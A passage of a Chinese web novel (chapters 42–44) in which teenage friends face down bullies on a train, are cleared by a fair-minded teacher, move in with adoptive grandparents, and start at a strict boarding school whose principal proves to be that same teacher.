苏旭顿时更委屈了,一边揉着额头,一边用哀怨控诉的眼神狠狠瞪着还在努力憋笑的张霆琛和李辰浩,嘴里嘟囔着:“我我那不是担心你嘛……”
小小的风波在苏旭的郁闷和另外两人憋不住的笑声中渐渐平息。车厢里重新安静下来,只剩下铁轨的节奏和轻微的鼾声。
清晨,张霆琛一睁眼,昨晚苏旭那“英勇神武”的画面就跳进脑海,他一个没忍住,“噗嗤”一声笑了出来,赶紧用被子捂住脸。旁边的李辰浩也被传染,闷闷的笑声从被窝里传出来。
苏旭黑着脸坐起来,刚要发作,找这两个“损友”算账,
突然,隔间外的过道上传来一阵密集而杂乱的脚步声,伴随着刻意压低的、不怀好意的交谈声。布帘被“哗啦”一声粗暴地掀开!
只见狭窄的过道里,黑压压地挤了七八个年轻男人,清一色穿着那种廉价的、洗得发白的深色工装裤,个个眼神不善。为首的那个,脸上还带着几道新鲜的淤青和清晰的巴掌印,正是昨晚在吸烟区被苏旭按在地上摩擦的“带头大哥”!他眼神阴鸷,死死地盯住隔间里的四人,特别是还坐在铺上、一脸懵逼的苏旭。
第四十二章:车厢对峙
“快起来了!要有麻烦了!”张霆琛低喝一声,一手一个,猛地拽起身边的李辰浩和苏旭。
领头的家伙是昨晚挨了揍的那位,脸上还带着点淤青,此刻趾高气扬地指着张霆琛:“大哥,就是他们!”他旁边站着一个身材明显高壮一圈的男生,剃着板寸,眼神凶狠,显然是这群人的大哥。老大没说话,只从鼻子里哼了一声,慢悠悠地踱到张霆琛面前,几乎贴着脸。他慢条斯理地从裤兜里摸出一包皱巴巴的烟,抽出一根叼在嘴上,啪嗒一声点燃,劣质烟草的气味瞬间弥漫开来。
“是你打的我兄弟?”老大吐出一口烟雾,眯着眼问,语气带着居高临下的审视。张霆琛毫不退缩,迎着对方的目光:“是你们的人没事找茬在先,你怎么不先问问你兄弟干了什么好事?”他的声音清晰而冷硬。
老大又吸了一口烟,烟雾缭绕中,他故作大度地挥挥手:“看你们仨**都没长齐,我也不为难。道个歉,再给我兄弟点根烟,这事儿就算翻篇了,够意思吧?”他弹了弹烟灰,一副施舍的模样。
李辰浩站在张霆琛侧后方,忍不住开口:“放屁!明明是你兄弟先惹是生非,我兄弟看不过眼才出的手!该道歉的是你们!”他的拳头在身侧攥紧了。
“放**狗屁!”昨晚挨打的家伙像被踩了尾巴,跳着脚指着李辰浩,随即又猛地转向旁边一直沉默、戴着厚厚眼镜的苏旭,尖声道:“大哥,昨天不是他动的手,是他!是那个四眼鸡!这两个就是旁边拱火的!”他的手指几乎要戳到苏旭的镜片上。
老大闻言,夸张地歪了歪头,上下打量着瘦弱的苏旭,嘴角咧开一个充满鄙夷的弧度:“你们俩,”他用夹烟的手指点了点昨晚挨打的和另一个鼻青脸肿的,“让这么一个四眼鸡打成这熊样?还他妈有脸拉我来报仇?”他摇着头。
这话臊得那两人脸上一阵红一阵白。张霆琛的眼神瞬间结冰,他一步跨到老大面前,几乎和他鼻尖对鼻尖,声音低沉得可怕:“**说谁是四眼鸡?”
老大不屑地从鼻腔里“哼”出一声,故意对着苏旭的方向喷了口烟圈:“说的就是他!怎么了?四眼鸡!不服气啊?打我啊!”他挑衅地扬起下巴,用烟头虚点着张霆琛的胸口。
张霆琛强压着怒火,“你必须道歉!!”老大像是听到了天大的笑话,转过身对着自己身后的一群喽啰哈哈大笑:“听见没兄弟们?他们让我道歉!哈哈哈!”他猛地转回来,深吸一口烟,然后凑近张霆琛的脸,将一大口浓白刺鼻的烟雾狠狠喷在他脸上,烟雾几乎糊住了张霆琛的视线。“我要是不道这个歉呢?”老大的声音带着戏谑和残忍的得意。
浓烟呛入鼻腔的瞬间,张霆琛还没动作,旁边的李辰浩早已按捺不住!只听一声闷响,毫无预兆地一脚狠狠蹬在老大的肚子上!
老大猝不及防,惨嚎一声,整个人猛地向后倒去,连带着撞翻了身后躲闪不及的三四个小弟。一时间人仰马翻,惊呼和痛骂声四起。老大捂着剧痛的肚子蜷缩在地上,那张刚才还不可一世的脸瞬间因疼痛和羞愤涨成了猪肝色。他挣扎着想爬起来,指着李辰浩,声音都变了调,嘶吼道:“妈的!给**死他们!”
周围的小弟们如梦初醒,嗷嗷叫着就要往上扑!“等等!”就在这千钧一发之际,苏旭他猛地从张霆琛身后挤出来,他对着地上的老大和那群摩拳擦掌的**声喊道:“人是我打的!跟他们没关系!我道歉!我给你们道歉行不行?要打要罚冲我来!”他的声音因为激动和紧张而微微发颤。
“小旭!你敢!”苏旭的话音刚落,张霆琛一声雷霆般的怒喝就炸响了!他一把将苏旭拉到身后,如同护住幼崽的雄狮,双目赤红地扫视着对面所有人,每一个字都像铁锤砸在钢板上,铿锵有力:“我告诉你苏旭!从咱们决定一起闯出个名堂那天起,从咱们认了彼此做兄弟那刻起,我张霆琛的字典里,就没有让兄弟低头道歉这一条!天王老子来了也不行!甭管什么情况!想他妈站直了腰杆子活着,就得让别人给咱们低头!给咱们道歉!听明白没有?!”
苏旭被他吼得浑身一震,呆呆地看着张霆琛因激动而微微颤抖的背影和那如同燃烧火焰般的眼神,一时竟忘了害怕,只觉得一股滚烫的东西猛地冲上眼眶和喉咙。
“妈的!”地上的老大终于挣扎着被小弟扶了起来,他一手死死捂着肚子,额头上全是冷汗,五官扭曲着,指着张霆琛三人,声音因为剧痛和极致的愤怒而嘶哑变形:“行!行!有种!老子今天不要你们道歉了!老子要你们满地找牙!给我……”
“住手!你们干什么呢!聚这么多人?是不是打架?!”就在这剑拔**张、一触即发的当口,一个尖锐高亢的女声响起,人群被强行分开,一个穿着职业套装、戴着眼镜、一脸怒容的中年女教师挤了进来。她一眼就看到了被簇拥着、捂着肚子呲牙咧嘴的老大,又瞪向张霆琛三人,眉头拧成了疙瘩:“无法无天了!跟我说!怎么回事?!”
那老大一见女教师,眼珠一转,刚才还狰狞的表情瞬间切换成痛苦万分,捂着肚子的手更用力了,腰也弯得更低,声音带着夸张的哭腔:“哎哟……老师!疼死我了!他打我!”他颤巍巍地指向李辰浩。
女教师的目光像探照灯一样打在李辰浩脸上,又扫过张霆琛和苏旭,脸色更沉了,不容置疑地命令道:“你们几个!跟我走一趟!”然后她对着那群学生,厉声呵斥:“其他人!散了!都给我散了!像什么样子!给学校丢人现眼!”
张霆琛三人互看了一眼,心里大概明白了:原来是一帮学校里的刺头,这女的是他们的老师。只是奇怪怎么一个学校的都跑火车上来了。李辰浩忍不住辩解:“是你们的学生先挑事的!我们……”
“你住口!”女教师像被点燃的炮仗,猛地打断李辰浩,唾沫星子几乎喷到他脸上:“你这孩子怎么满嘴胡说八道!我们学校的学生会是那种惹是生非的人吗?他们都是品学兼优的好孩子!你看看你!”她指着还在痛苦**的老大,“看看你给我们学生打成什么样子了?下手这么狠!有没有点教养!”
张霆琛三人还想据理力争,这时又一个沉稳的男声插了进来:“李老师,怎么回事?”一个穿着夹克、气质儒雅的中年男教师走了过来。女教师一看到他,脸上的怒容立刻换上了委屈和告状的神情,快步迎上去:“王老师,你可来了!就是这几个外校的,无缘无故打了我们班的学生!你看看,打成什么样了!你说怎么办吧?”
王老师没有像李老师那样立刻发难。他先是仔细看了看捂着肚子、眼神闪烁的那个老大,又看了看一脸愤懑的张霆琛三人,眉头微蹙,平静地说:“李老师,一个巴掌拍不响。况且,咱们这几个学生平时在学校的表现,你我都清楚,也不是什么省油的灯。”他这番话让李老师噎了一下,脸上有些挂不住。王老师转向张霆琛他们,语气平和但带着不容置疑:“**总归是不对的。这样,你们几个跟我到前面车厢去,把情况详细说说。是非曲直,总要弄清楚。”
张霆琛看这位王老师说话讲理,态度也公正,紧绷的神经稍稍放松,点了点头:“行,王老师,我们跟您去。”
一行人穿过几节车厢,来到了一个相对宽敞安静的软卧包厢。李老师气鼓鼓地坐下,王老师示意张霆琛他们也坐下。那个挨打的老大则有些不安地站在一旁。
王老师没理会李老师频频使来的眼色,直接看向张霆琛:“现在没别人了,说吧,到底怎么回事?从头到尾,实事求是地说。”
老大立刻想抢话:“老师,是他们……”“没问你!”王老师声音不大,却带着一股威严,老大悻悻地闭上了嘴。
张霆琛定了定神,将昨晚对方如何言语威胁甚至想动手,苏旭如何被迫自卫,以及今天对方如何带人围堵挑衅,老大如何侮辱苏旭、吐烟圈挑衅的过程,一五一十地说了出来。他隐去了自己和李辰浩之前忽悠苏旭去的那段,只说对方点名要找苏旭谈谈。
王老师听着,脸色越来越沉,目光锐利地转向老大,等张霆琛说完,王老师声音冷了下来:“抽烟?聚众?怂恿打架?这些是不是你干的?认不认错?”
老大急了,梗着脖子狡辩:“老师!是他们先动手打我同学的!是他们不对!”张霆琛立刻反驳:“是你们的人先动手打我朋友的!是他们先挑的事!”
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你什么素质啊!怎么跟老师说话的!”李老师像被踩了尾巴,猛地站起来指着张霆琛尖叫。
王老师抬手制止了李老师,语气依旧冷静,但压迫感更强了:“既然你说是他们先动的手打了你的同学。好,你把昨天参与打架的那两个同学叫进来。如果情况属实,我让他们三个给你那两个同学道歉。但是,”他话锋一转,眼神如刀,“如果证明你在撒谎,或者夸大其词,那就再加上一条欺骗师长!你自己想清楚!”
老大心里咯噔一下。他那两个所谓的被打的同学是什么货色他太清楚了,平时谎话连篇,进来一对质,肯定漏洞百出,到时候自己撒谎的罪名就坐实了,后果更严重!他眼珠乱转,额头开始冒汗,权衡利弊后,瞬间蔫了,支支吾吾地说:“那个,王老师,其实……其实我也不太清楚具体怎么回事,是他们俩跟我说的,您把他们叫进来,他们说的也不能证明我说谎啊……”声音越说越小,底气全无。
“不清楚?!”王老师猛地一拍小桌板,声音陡然拔高,显然是动了真怒,“不清楚你就敢带着这么多人聚众**?!在学校里惹是生非还不够,跑到火车上来给我丢人现眼!胡闹!”他深吸一口气,压下怒火,指着老大的肚子:“现在,肚子还疼不疼?要不要叫乘务员联系下一站送你去医院?”
老大吓得一哆嗦,头摇得像拨浪鼓:“不疼了不疼了!老师,我没事了!真没事了!”王老师这才转向张霆琛三人,脸色缓和了些,带着一丝歉意:“事情基本清楚了。我代表我的学生,向你们道歉。他抽烟、聚众、挑衅,错在先。”他顿了一下,话锋微转,“不过,你们**,终究也欠妥当。好在今天没酿成更大的冲突。这件事,我看就到此为止吧。你们可以回去了。”
“谢谢王老师。”张霆琛、李辰浩、苏旭齐声道谢,语气真诚。他们起身离开包厢。刚关上门,就听见里面传来王老师压抑着怒火的低吼:“去!把那两个惹事的也给我叫进来!在学校显眼还不够!跑到这火车上来现眼!丢人!”紧接着是李老师试图辩解但被王老师严厉打断的声音。
门外的三人相视一笑,长长舒了口气。李辰浩由衷地赞道:“这王老师,真是个明事理的好老师!”苏旭也点头,带着点后怕:“是啊,幸亏有王老师主持公道。那个李老师,简直像个泼妇!”
张霆琛脸上的笑容却慢慢敛去,变得异常严肃。他停下脚步,转过身,目光灼灼地盯着苏旭,一字一句地说道:“小旭,我刚才在车厢里说的话,你一个字都不准忘!再让我听到你说道歉两个字,别怪我翻脸!记住了,在任何情况下,都不准!我们既然选了这条路,要混出个人样,要在这片地界上站住脚,骨头就得硬!腰杆就得直!天塌下来也得顶着!别人讲道理,我们就好好讲道理;别人要是蛮不讲理,耍横犯浑……”他攥紧拳头,指节发出轻微的脆响,“那咱们就用拳头跟他讲!让他明白明白,什么叫道理!”
苏旭被张霆琛这从未有过的严厉眼神看得心头一颤,脸上有些发烫,下意识地点点头:“我知道了二哥,以后谁再欺负咱们,咱们就用拳头跟他讲理……”声音虽然不大,但眼神里多了一丝之前没有的狠劲儿。
李辰浩用力拍了拍苏旭的肩膀,咧嘴一笑,带着江湖气:“这就对了!小旭,听你二哥的没错!这世道,有时候就得横!你软了,别人就骑你头上拉屎!就得让别人怕你,咱们才能有立足之地!才能让人不敢小瞧!”
苏旭心里本来还有点委屈,觉得刚才自己只是想息事宁人,结果反被两个哥哥数落了一顿。但此刻,听着张霆琛掷地有声的话语,看着李辰浩坚定支持的眼神,再回想刚才那场差点爆发的群架和那个老大嚣张的嘴脸,一种前所未有的东西在他心底滋生、翻涌。他默默咀嚼着刚才经历的一切,特别是张霆琛那句“想站直就得让别人道歉”,一个简单而冷酷的道理逐渐清晰起来,烙印在他年轻的认知里:人不狠,站不稳!
车厢轻微地晃动了一下,窗外飞驰而过的景物在苏旭厚厚的镜片上投下模糊的光影。他推了推眼镜,再抬起头时,眼神深处似乎有什么东西,悄然沉淀了下来。
第四十三章:校长室的惊喜
三人回到了自己的卧铺隔间。陈曦就迫不及待地凑过来,压低声音问:“怎么样了?”李辰浩一屁股瘫坐在铺位上,肩膀夸张地一耸,做了个无奈又带着点庆幸的表情:“别提了,撞上个八婆老师,问个没完。不过运气不算太差,还遇着个挺和气的老师帮忙解围,这才脱身。”苏旭一听就来劲了,拳头在空中虚挥了一下,龇着牙说:“嘿!下次再让我撞见,非给他一顿胖揍不可!”陈曦闻言,丢给他一个毫不掩饰的鄙夷眼神,从鼻子里哼出一声:“就凭你?”
苏旭像被踩了尾巴的猫,立刻炸毛跳起来:“喂!瞧不起谁呢?昨天我可是单枪匹马干翻了两个比我高半头的家伙!毫发无伤!这还不能说明问题?说明哥们儿够强悍!”他挺起胸膛,试图增加说服力。一直没怎么说话,靠着车窗看外面飞驰而过的模糊灯影的张霆琛,这时慢悠悠地转过脸,精准地泼下一盆冷水:“得了吧,那会儿你是暴走状态,脑子压根不在服务区,再加上你先发制人偷袭,天时地利人和全让你蒙上了。”李辰浩和陈曦在旁边默契地小鸡啄米似的连连点头,深表赞同。苏旭的脸瞬间垮了下来,委屈地嚷嚷:“你们仨怎么老针对我啊!”“因为鄙视你啊!”三人异口同声。
一路的喧嚣和插曲终于被抛在身后,火车缓缓驶入了广市的巨大站台。走出车厢,一股混杂着汽油味、人潮汗味和陌生城市特有气息的空气扑面而来。站厅穹顶高耸,人潮汹涌,巨大的电子屏幕闪烁着刺眼的光芒。四个少年站在出站口,一时都有些怔忡。“大…”李辰浩喃喃道,说出了所有人的心声。没错,就是大,一种扑面而来的、令人窒息的庞大感。容市虽非穷乡僻壤,但与眼前这钢铁森林般的广市相比,俨然成了不起眼的小镇。他们像几条误入深海的小鱼,有些茫然地随着人流移动。
刚挤出检票口,眼尖的陈曦就拽了拽张霆琛的袖子:“看那边!”只见不远处,一对衣着朴素、头发花白的老人,正举着一块硬纸板,上面用粗黑的马克笔清晰地写着他们四个的名字,张霆琛、李辰浩、苏旭、陈曦。四人心中了然,迅速交换了个眼神,快步跑了过去。
两位老人显然早已熟记他们的照片,浑浊的眼睛里立刻放出光彩,迎上前来,慈祥的声音带着广市特有的口音:“孩子们!可算到了!路上辛苦了吧?在容市玩得开心吗?”这熟稔的语气让四人微微一怔,旋即反应过来自己此刻的身份。张霆琛反应最快,脸上迅速堆起一个得体的、带着点腼腆的笑容,响亮地喊道:“爸!妈!你们来接我们啦!”李辰浩、苏旭、陈曦也赶紧跟上,此起彼伏地喊着“爸”、“妈”。两位老人名叫张泽和何欣,看着张霆琛这机灵劲儿,眼底闪过一丝赞赏和安心。
回家的路上,张老夫妇坐车上不住地回头嘘寒问暖,后排挤着的四个少年则略显拘谨地应答着。车子驶离了繁华喧嚣的市中心,窗外的景色逐渐变得开阔,高楼大厦被一片片规划整齐、绿树成荫的住宅区取代。最终,车子停在一处环境清幽、安保严密的别墅区。眼前的景象让少年们再次暗暗咋舌:一栋带着独立花园的欧式三层别墅矗立在眼前,气派非凡,与两位老人身上洗得发白的棉布衣衫形成了强烈的反差。
推开厚重的实木大门,温暖明亮的灯光和一丝新家具特有的气味涌了出来。“快进来快进来,到家了!”干妈何欣热情地招呼着,脸上是抑制不住的欢喜。客厅宽敞明亮,米白色的沙发柔软舒适。几人刚在沙发上落座,张霆琛便收敛了笑容,身体微微前倾,目光直视着张泽,开门见山:“张伯伯…呃,爸,您跟我爸到底是什么关系?”他必须弄清楚这层关系的深浅,这关乎他们未来事业的保密性。
张泽和何欣对视一眼,何欣轻轻拍了拍老伴的手背。张泽端起茶杯抿了一口,才缓缓道:“是过命的交情。我比你爸大七岁,他就像我的亲弟弟。”张霆琛心里悬着的石头落下一半,紧接着追问:“那关于我们在这边的情况,您会定期告诉我爸他们吗?”
“放心,”何欣接过话头,语气温和却坚定,“为了你们的安全,我们和他们基本不会主动联系。他们也不会轻易联系我们。你们在这里,就是我们的孩子。”这话彻底打消了张霆琛的顾虑。他松了口气,脸上重新挂上轻松的笑容:“那太好了!以后我们该怎么称呼您二老?还有,在外人面前,我们的来历也得统一口径吧?”
张泽放下茶杯,露出慈祥的笑容:“我叫张泽,老伴叫何欣。我们对外就说,年纪大了,想热闹点,就领养了你们四个好孩子,特意卖了老房子,搬来这大别墅享清福!你们要是不嫌弃我们老两口,”他顿了顿,眼中带着一丝期待,“就喊我们一声‘爸’、‘妈’,也让我们心里头暖和暖和。”
张霆琛还在斟酌,陈曦已经像只灵巧的小鹿,几步就蹦到张泽身边坐下,亲昵地挽住他的胳膊,仰起脸甜甜地叫了一声:“爸!”这声呼唤像蜜糖一样,瞬间让张泽眉开眼笑,眼角的皱纹都舒展开了。陈曦又转向何欣,清脆地喊:“妈!”何欣“哎!”地应着,眼眶微微发红,只觉得这孩子又贴心又懂事。张霆琛、李辰浩、苏旭见状,也不再犹豫,纷纷开口叫着“爸”、“妈”。小小的客厅里顿时充满了温馨的笑声和略显生涩却真诚的呼唤声。两位老人的脸上,是长久以来未曾有过的满足和喜悦。
从老人的絮叨中,他们得知明天就要去新学校报到,一所管理严格的寄宿制重点中学,名字很响亮:“一中”。理由很充分:让他们专心学习,两位老人也确实难以同时照顾四个半大孩子。
晚餐是丰盛的家常菜,充满了家的味道。饭后,各自回到宽敞明亮的客房。夜渐深,李辰浩翻来覆去睡不着,心里揣着事。他悄悄拉开房门,像做贼一样溜向张霆琛的房间。手刚搭上门把手轻轻一拧,门就开了条缝,里面透出灯光,苏旭竟然比他先到一步,正盘腿坐在张霆琛床上啃苹果。
李辰浩闪身进去,反手带上门,压低声音问苏旭:“你小子不睡觉,跑这干嘛来了?”苏旭啃了一大口苹果,含糊不清地反击:“你干嘛我就干嘛呗!”
“嘿!反了你了!”李辰浩作势就要扑上去教训这个总跟他抬杠的兄弟。出乎意料的是,一直靠在床头看书的张霆琛突然出手,和李辰浩合力把苏旭按倒在柔软的床铺上。李辰浩被张霆琛巧妙地锁住关节,脸埋在枕头里闷声**:“苏旭!有种单挑!找帮手算什么英雄好汉!”苏旭挣脱出来,得意地哈哈大笑,苹果核都差点掉床上:“哈哈!我跟二哥打赌,赌你今晚肯定憋不住要过来!我赢了!二哥答应帮我杀杀你的威风!爽!”他笑得在床上打滚。
闹腾了一阵,李辰浩喘着气摆手:“行了行了,服了!说正事!”他坐直身体,神情认真起来,“大的方向定了,接下来这小打小闹的计划怎么开展?总不能干坐着。”
张霆琛合上书,眼中闪烁着少年人特有的、初生牛犊不怕虎的光芒:“早琢磨好了。第一步,先把咱们学校这块根据地稳下来。站稳脚跟,才能图别的。”他手指轻轻敲着床沿。
李辰浩点头:“同意。学校就是咱们的第一个山头。不过拳头才是硬道理,体能训练不能停,得练到一个人能撂倒一片那种程度才保险!”苏旭也凑过来,兴奋地摩拳擦掌:“对!打遍全校无敌手!”
三个少年挤在张霆琛的大床上,压低声音,你一言我一语地勾勒着他们充满江湖气的校园蓝图,越聊越兴奋,直到窗外的夜色由浓转淡,东方的天际泛起了鱼肚白。最终,抵挡不住浓重的睡意,三个人就这么东倒西歪地挤在一起,沉沉地睡了过去。
清晨,是何欣温柔的敲门声和呼唤把他们从梦乡中拉回。“孩子们,起床啦!吃早饭,准备去新学校了!”苏旭揉着惺忪的睡眼,第一个拉开张霆琛的房门走出来,迎面就撞上了一道冰冷锐利的目光。陈曦抱着胳膊靠在走廊对面的墙上,直直地扎在他身上。苏旭一个激灵,瞬间清醒了大半,后背汗**都竖起来了。他脑子里飞快地过了一遍:昨晚打呼噜吵到她了?偷吃她零食被发现了?没有啊!他丈二和尚摸不着头脑。
陈曦踩着拖鞋,几步走到他面前,在他还没反应过来之前,纤纤玉指精准地掐住他
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腰间最嫩的那块软肉,狠狠一拧!“嗷——!”苏旭的惨嚎声瞬间打破了清晨别墅的宁静。陈曦冷哼一声,看都不看他疼得龇牙咧嘴的样子,转身留给他一个冷冰冰的背影,哒哒哒地下楼去了。张霆琛和李辰浩闻声探出头,看着苏旭捂着腰直抽冷气,一脸茫然:“什么情况?大清早的,杀气这么重?”
苏旭疼得直咧嘴,委屈巴巴:“我也不知道啊!不行,我得问清楚!”他揉着腰,一瘸一拐地追下楼。餐厅里,陈曦正小口喝着牛奶。苏旭凑过去,小心翼翼地问:“小曦…我,我哪儿惹着你了?”陈曦眼皮都没抬,一把推开他凑近的脑袋,从鼻子里发出一声重重的“哼!”,端起盘子就换了个离他最远的座位。这下连张霆琛和李辰浩也面面相觑,完全摸不着头脑了。
餐桌上气氛有点微妙。张泽放下报纸,温和地打破沉默:“孩子们,快吃饭,吃完了爸带你们去学校报到。”众人应了一声,都低头默默对付起盘中的早餐,只有碗碟碰撞的轻微声响。
苏旭按捺不住好奇,一边剥着鸡蛋一边问:“爸,您和妈以前是做什么的呀?能住这么大的房子。”他环顾着装修考究的餐厅。
张泽呵呵一笑,放下筷子,用一种讲述都市传奇般的轻松口吻说:“嗨,说起来也是运气。前两年啊,我和你妈心血来潮买了张彩票,嘿,没想到就中了!不多不少,五百万!想着辛苦一辈子,也该享享福了,顺便把旧房子卖了,就买了这房子。又觉得太冷清,这才想着领养几个孩子,这不,就遇上你们了嘛!”他说得自然流畅,仿佛这就是生活的真相。四个少年心领神会,再次感叹慕容廷的安排真是滴水不漏:凭空中奖的幸运老人,领养孤儿的善举,一切都合情合理,经得起任何推敲。
饭后,一行人乘坐张泽的车前往一中。车子驶近学校大门,那气派宏伟的校门和远处高耸的教学楼就映入眼帘。“嚯!”李辰浩忍不住发出一声惊叹,“真气派!”苏旭也扒着车窗,两眼放光地接茬:“就是!你看那教学楼,多牛……”他那个字还没出口,旁边就传来陈曦一声清晰无比的、带着浓浓嫌弃的轻嗤:“山炮!”被这突如其来的鄙夷噎住,李辰浩和苏旭悻悻地闭上了嘴,互相看了一眼,都从对方眼里看到了无奈。这位姑奶奶今天到底吃了什么枪药?从起床就火力全开,看谁都不顺眼。
在张泽的带领下,他们穿过绿树成荫的校园,来到行政楼顶层的校长办公室。推开那扇厚重的红木门,看清办公桌后站起来的人时,四个人瞬间僵在原地,血液仿佛都凝固了,办公桌后站起来的,赫然是火车上那个男老师!**看到他们,脸上也掠过一丝明显的错愕。
他很快调整好表情,快步绕过桌子迎向张泽,语气带着熟稔:“张叔,您来了!这就是您电话里说的那四个孩子?”他目光扫过四个僵硬的少年。
张泽笑着拍拍**的胳膊:“是啊,振华,以后就麻烦你了。都是好孩子,懂事着呢!”这句“好孩子”像根针,扎得张霆琛四人脸上火辣辣的,恨不得当场挖个地洞钻进去,头埋得一个比一个低。
**似乎完全忘记了火车上的事情,他脸上挂着温和笑容,转向四个“好孩子”,递过来一张表格和一本蓝色的小册子:“我叫**,以后叫我王老师就好。你们的班级已经分好了,看这张表。这是校规手册,”他特意晃了晃那本蓝色册子,目光在四人脸上意味深长地停留了一瞬,“务必熟记,严格遵守。其他注意事项,你们各自的班主任会详细交代。”他的语气平静,却带着一种不容置疑的威严。
“是,王老师。”四人几乎是异口同声,声音干涩,跟着张泽走出校长办公室,厚重的门在身后合上,他们才不约而同地长长舒了一口气,后背的衬衫似乎都被冷汗浸湿了一层。李辰浩抹了把额头上不存在的汗,压低声音:“完了完了,冤家路窄啊!”苏旭也苦着脸:“这下真没好日子过了……”张霆琛和陈曦虽然没说话,但紧抿的嘴唇和略显凝重的眼神,泄露了内心的忧虑。新学校的第一天,就在这样戏剧性的重逢和沉重的心事中拉开了序幕。
第四十四章:开学第一脚
张泽走后,张霆琛他们几个凑在一起,翻开了王老师递过来的那本薄薄的规章制度。好家伙!密密麻麻的小字像蚂蚁搬家似的爬满了纸页,条条框框多得让人眼晕。张霆琛捏了捏眉心,暗自庆幸:还好哥几个分得不算太散。苏旭和陈曦在七班,他和李辰浩则在十班。
趁着清晨还没正式上课,班主任也没到,他们在年级主任的带领下,先去办公室认了门,然后被领到了十班门口。教室里空着两个座位,稀稀拉拉坐了四十来个学生。李辰浩环顾一圈,心里嘀咕:“才这点人?国家资源多金贵啊,挤挤一个班多热闹!”他哪知道,在广市,一个班人数卡死在四十五人这条线上,至于为什么,没人说得清。
两人走进教室坐下。大概是新面孔,班里没人主动搭话,只投来几道好奇的目光。没过多久,教室门被推开,一个戴着厚厚镜片的男老师走了进来,皮鞋敲击地面的声音带着一种不容置疑的威严。原本还有些窸窣声响的教室瞬间落针可闻。
那老师走到讲台边,抬手推了推眼镜,镜片后的目光锐利地扫视全场,最终定格在张霆琛和李辰浩身上。“听说来了两位新同学,”他的声音不高,却带着穿透力,“站起来,自我介绍一下。”
张霆琛和李辰浩应声而起。张霆琛站得笔直,清了清嗓子:“我叫张霆琛,以后请多关照。”他面容清秀,眼神干净,一看就是标准的好学生模样。轮到李辰浩时,他声音粗了些:“李辰浩。”他身材高大结实,眉宇间带着点桀骜不驯,往那一站,气场就有点不好惹。
男老师点点头,自我介绍道:“我叫赖军,你们的班主任,教数学。”他顿了顿,目光在两人脸上逡巡,“跟着我,好好学,会有出息。我这个人,”他特意强调,“最不喜欢废话。”话锋一转,语气陡然严厉,“但我们班是要争优秀班集体的!谁要是敢当那颗坏了一锅汤的老鼠屎,在外面惹是生非,我饶不了他!”他手指点了点讲台上那本规章,“你们两个,把校规校纪给我一字不落地抄一遍,明天交上来!”紧接着,这位自称不爱废话的赖老师,开始了长达万字的谆谆教诲,从学习态度讲到行为规范,再讲到人生理想,直听得全班同学眼冒金星,头大如斗,恨不得立刻开始上课,只求他闭上那“不爱多说”的嘴。最后,赖老师终于意犹未尽地收尾,还不忘重申:“记住,我不喜欢废话!”
下课铃一响,李辰浩立刻压低声音却难掩嘲讽:“嚯!这老师真牛掰!不爱废话?唾沫星子差点把咱们淹死!”
张霆琛正要说话,旁边一个清脆的声音插了进来:“赖老师就这风格,其实人挺好的,是位负责的好老师。”两人转头,看到一个扎着马尾辫的女孩,个子约莫一米六,皮肤白皙,眼睛弯弯的像月牙,整个人透着一股夏日小雨般的清新爽利。张霆琛对上她的目光,脸一下就红了,耳根都微微发烫。
女孩倒是落落大方,伸出手:“我叫梁颖,数学课代表。”张霆琛赶紧掩饰自己的窘态,声音有点飘:“张霆琛,这是我兄弟李辰浩!”李辰浩冲梁颖点了下头,算是打过招呼。
“原来你们认识啊,难怪一下课就凑一块儿。”梁颖恍然。
正说着,一个身材敦实的男生晃悠过来,胳膊肘搭在梁颖旁边的课桌上,笑嘻嘻地说:“哟,梁大美女,跟新同学交流感情呢?”
梁颖下巴一扬:“那当然,本美女有责任帮助新同学融入集体。”男生嗤笑一声:“给你根杆子就往上爬。”他转向张霆琛和李辰浩,笑容爽朗,“我叫邓志辉,以后一个班的了,估计很快还是一个宿舍的兄弟,互相照应着点!”
“一个宿舍?”李辰浩挑眉。“对啊,”邓志辉点头,“你们不知道?还有个外班的转校生也塞我们宿舍了,说是没空铺了。加上你们俩,咱宿舍齐活儿了。”
张霆琛露出友善的笑容:“照应是必须的。这样,中午放了学,一起去外面搓一顿?我请客!”梁颖立刻插话,带着点同情:“你还是省省力气背校规吧!咱们学校管得可严了,平时根本出不去,只能吃食堂。想出去?得有假条,比登天还难!”
张霆琛鼓了鼓腮帮子,像泄了气的皮球:“这么麻烦啊?那还有啥要注意的不?”
邓志辉一副过来人的样子,拍拍张霆琛的肩膀:“嗨,慢慢就习惯了。以后跟着我们混,我们干啥你们干啥,保管不踩雷!这破地方,为了升学率,简直把学生当牲口圈养!”
李辰浩啐了一口:“妈的!教育制度的失败!”“哎哎哎!”邓志辉赶紧竖起手指,“注意!骂脏话也是违纪!不过…”他凑近李辰浩,咧嘴一笑,“你刚才那话,哥爱听!中国的狗屁教育,早该改改了!”
张霆琛无奈地笑笑,打起精神:“算了,抱怨也没用。吃食堂就吃食堂呗,多大点事!”他努力让自己的笑容显得阳光一点。
正聊着,上课铃又无情地响了。时间一晃就到了中午。下课铃刚拉响,张霆琛就跳起来招呼邓志辉:“走啊!吃饭去!”
“行嘞!”邓志辉应着,转身朝后排喊,“哥几个,走了!新同学请客,食堂走起!”张霆琛对李辰浩说:“等等小旭他们。”不一会儿,苏旭和陈曦也过来了,邓志辉也招呼来了三个男生。
“喏,这仨就是咱们宿舍的。”邓志辉指着他们,“林凯,王涛,彭志龙。”
张霆琛连忙介绍苏旭和陈曦。大家简单寒暄几句,便簇拥着往食堂走。梁颖也笑嘻嘻地跟了上来,挽着陈曦的胳膊:“我也去,增进增进**友谊!”
一行人浩浩荡荡杀到食堂门口,张霆琛往里一看,倒抽一口凉气,这哪是食堂,分明是春运火车站!黑压压的人头攒动,排队的队伍像蜿蜒的长龙,空气里弥漫着饭菜味、汗味和嘈杂的嗡嗡声。
“这怎么打饭啊?”张霆琛感觉有点窒息。梁颖拉着陈曦的手,经验老道地说:“赶紧找队尾排队去!我们去占位置!”
这时,那个叫王涛的男生,身材壮实,嗓门洪亮,大手一挥:“排什么队!这顿我请了!想吃什么尽管说!”他拍着胸脯,豪气干云。张霆琛哪肯,连
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忙摆手:“别别别!说好我请的,怎么能让你破费?不行不行!”
邓志辉笑着出来打圆场:“好了好了,就让霆琛请吧,下次涛子你再找补回来!”
王涛也是个爽快人,立马应承:“行!就这么说定了!下顿谁也别跟我抢啊!”说完,他一把拽住正要往人堆里扎的张霆琛,“跟我走!不用排!”
问清大家想吃什么后,王涛带着张霆琛,在拥挤的人潮中硬生生开出一条路,直奔打饭窗口最前方。所过之处,引来一片片毫不掩饰的侧目、白眼和不耐烦的嘀咕声。
